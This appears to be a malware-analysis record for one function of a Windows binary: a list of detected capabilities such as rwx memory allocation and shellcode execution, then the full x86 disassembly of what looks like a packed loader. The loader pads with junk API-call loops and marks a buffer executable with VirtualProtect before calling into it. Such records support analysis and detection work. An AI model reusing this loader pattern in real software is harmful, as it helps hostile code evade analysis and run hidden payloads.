Function at 0x49ece0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create mailslot
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read pipe
Set current directory
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4a5cb6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x25a0
call fcn.0040d3e0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [sym.imp.GDI32.dll_SetBkColor]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e330
jge 0x49ed2e
call ebx
push edi
push edi
call ebp
cmp esi, 0x1e9a5eb2
jle 0x49ed4a
cmp dword [esp + 0x10], 0xbf2068
je 0x49ed4a
cmp dword [esp + 0x34], 0x926a1a8
jne 0x49ed53
inc esi
cmp esi, 0x98a0a
jl 0x49ed20
cmp dword [0x260f27c], 0xcf8
jne 0x49ee59
push edi
push edi
push edi
call fcn.00404df6
add esp, 0xc
push 0x403328
push edi
call fcn.00404df6
push edi
push edi
push edi
push edi
call fcn.00404d9e
push edi
call fcn.00404dbb
add esp, 0x1c
push edi
push edi
call fcn.0040484c
push edi
call fcn.00404deb
add esp, 0xc
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x25bc], edi
xor eax, eax
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], edi
mov byte [esp + 0x28], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x49edc4
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x49edde
push 0x403678
call fcn.004047ab
cmp esi, 0xf
jbe 0x49edf1
push edi
push esi
lea eax, [esp + 0x30]
push eax
call fcn.00404590
jmp 0x49edfe
cmp esi, edi
jne 0x49ee00
mov dword [esp + 0x38], edi
mov byte [esp + 0x28], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x49ee3b
mov eax, dword [esp + 0x28]
cmp dword [esp + 0x3c], ebx
jae 0x49ee1a
lea eax, [esp + 0x28]
push esi
push edi
push eax
call fcn.00409640
mov eax, dword [esp + 0x34]
add esp, 0xc
mov dword [esp + 0x38], esi
cmp dword [esp + 0x3c], ebx
jae 0x49ee37
lea eax, [esp + 0x28]
mov byte [eax + esi], 0
cmp dword [esp + 0x3c], ebx
jb 0x49ee4e
mov ecx, dword [esp + 0x28]
push ecx
call fcn.00404eb3
add esp, 4
call fcn.00404819
push edi
call fcn.0040523f
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x408
jne 0x49ee83
mov eax, 0x5d1
add dword [0x260f27c], eax
cmp dword [0x260f27c], 3
jne 0x49eea0
push 0
call edi
push 0
call ebx
push 0
lea edx, [esp + 0x5b4]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x49ee70
mov eax, dword [0x260f27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x4c500c], eax
mov eax, dword [0x260f27c]
xor esi, esi
test eax, eax
je 0x49ef16
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, dword [sym.imp.KERNEL32.dll_GetStringTypeW]
lea esp, [esp]
cmp eax, 0xfe
jne 0x49eeed
push 0
call ebx
call ebp
call fcn.0049e9b0
mov eax, dword [0x260f27c]
cmp eax, 0x29
jne 0x49ef11
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x403338
push 0
call edi
mov eax, dword [0x260f27c]
inc esi
cmp esi, eax
jb 0x49eee0
cmp eax, 0x70
jne 0x49f037
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov esi, dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
mov edi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x49f087
push 0
lea eax, [esp + 0x70]
push eax
push 0
lea ecx, [esp + 0x1bc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea edx, [esp + 0x70]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x260f27c]
cmp eax, 0xdf
jne 0x49f189
push 0
call esi
push 0
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4034f4
call ebp
push 0x403518
push 0
push 0
call ebx
lea eax, [esp + 0x68]
push eax
push 0x40356c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x403594
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea ecx, [esp + 0x64]
push ecx
push 0
lea edx, [esp + 0x1b8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0
lea ecx, [esp + 0x9b4]
push ecx
push 0x4035b8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x1db4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea ecx, [esp + 0x30]
push 0
push ecx
mov dword [esp + 0x34], 0
call fcn.004095c0
add esp, 0xc
push 0
lea edx, [esp + 0x2c]
push edx
push 0x403668
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov eax, dword [0x260f27c]
dec dword [esp + 0x10]
jne 0x49f057
mov esi, dword [sym.imp.USER32.dll_CharUpperW]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
lea ebx, [ebx]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x49f1b0
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x260f27c], 0x222
jne 0x49f1e0
push 0
call esi
dec edi
jne 0x49f1d0
mov ecx, dword [0x260f27c]
mov edx, dword [0x4c500c]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
mov byte [0x4c0278], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0049ec90
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
mov ebx, 0xba
cmp dword [0x260f27c], ebx
jne 0x49f22f
lea eax, [esp + 0x14]
push eax
push 0
lea ecx, [esp + 0x30]
push ecx
push 0
call edi
cmp esi, 0x2f64
jne 0x49f241
add dword [0x4c500c], 0
inc esi
cmp esi, 0x1605a
jl 0x49f217
call fcn.0049ec30
cmp dword [0x260f27c], 0xc30
jne 0x49f314
lea edx, [esp + 0x1b0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 0x70]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
lea edx, [esp + 0x11bc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea eax, [esp + 0x9b4]
push eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x74]
push edx
lea eax, [esp + 0x7c]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push 0x30
lea edx, [esp + 0x30]
push 0
push edx
mov dword [esp + 0x34], 0
call fcn.004095c0
mov eax, dword [esp + 0x20]
add esp, 0xc
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
mov ecx, dword [esp + 0x25b4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret